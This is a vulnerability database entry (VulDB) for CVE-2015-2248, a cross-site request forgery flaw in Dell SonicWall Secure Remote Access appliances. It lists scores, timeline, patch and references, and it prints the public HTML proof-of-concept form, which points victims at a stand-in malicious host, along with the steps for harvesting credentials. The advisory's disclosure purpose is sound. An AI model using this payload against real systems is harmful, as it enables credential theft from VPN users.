VDB-75111 · CVE-2015-2248 · sID 75111

Dell SonicWall Secure Remote Access Appliance 7.5/8.0 /cgi-bin/editBookmark cross-site request forgery

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
5.7	$0-$5k	0.00

Summaryinfo

A vulnerability, which was classified as problematic, has been found in Dell SonicWall Secure Remote Access Appliance 7.5/8.0. This vulnerability affects unknown code of the file /cgi-bin/editBookmark. Performing a manipulation results in cross-site request forgery. This vulnerability is identified as CVE-2015-2248. The attack can be initiated remotely. Additionally, an exploit exists. It is recommended to apply a patch to fix this issue.

Detailsinfo

A vulnerability was found in Dell SonicWall Secure Remote Access Appliance 7.5/8.0 (Remote Access Software). It has been classified as problematic. This affects an unknown functionality of the file /cgi-bin/editBookmark. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. CWE is classifying the issue as CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. This is going to have an impact on confidentiality, integrity, and availability.

The bug was discovered 01/20/2015. The weakness was released 04/28/2015 by Veit Hailperin with scip AG as sID 75111 as confirmed entry (scip VulDB). It is possible to read the advisory at scip.ch. The public release was coordinated with Dell. This vulnerability is uniquely identified as CVE-2015-2248 since 03/09/2015. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details and a public exploit are known.

A public exploit has been developed by Veit Hailperin in HTML and been published immediately after the advisory. The exploit is shared for download at packetstormsecurity.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 87 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

<form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
<input type="hidden" name="HOST" value="www.malicious-host.tld" />
<input type="hidden" name="bookmarkAccessed" value="4" />
<input type="submit" value="Submit request" />
</form>

The advisory illustrates:

1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker. 2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay. 3. Gather the credentials on the target server provided in step #1

Applying the patch 7.5.1.0-38sv/8.0.0.1-16sv is able to eliminate this problem. A possible mitigation has been published before and not just after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at X-Force (102844), Exploit-DB (36940), SecurityFocus (BID 73098†) and SecurityTracker (ID 1032227†). Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Remote Access Software

Vendor

Dell

Name

SonicWall Secure Remote Access Appliance

Version

License

commercial

Website

Vendor: https://www.dell.com/

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.3
VulDB Meta Temp Score: 5.7

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Veit Hailperin
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

OpenVAS ID: 103317
OpenVAS Name: Dell SonicWALL Secure Remote Access (SRA) CSRF Vulnerability
OpenVAS File: 🔍
OpenVAS Family: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Patch
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍

Patch: 7.5.1.0-38sv/8.0.0.1-16sv

Timelineinfo

01/20/2015 🔍
01/21/2015 +1 days 🔍
01/22/2015 +1 days 🔍
03/09/2015 +46 days 🔍
04/17/2015 +39 days 🔍
04/27/2015 +10 days 🔍
04/28/2015 +1 days 🔍
04/28/2015 +0 days 🔍
05/01/2015 +2 days 🔍
05/01/2015 +0 days 🔍
05/04/2015 +3 days 🔍
06/19/2024 +3334 days 🔍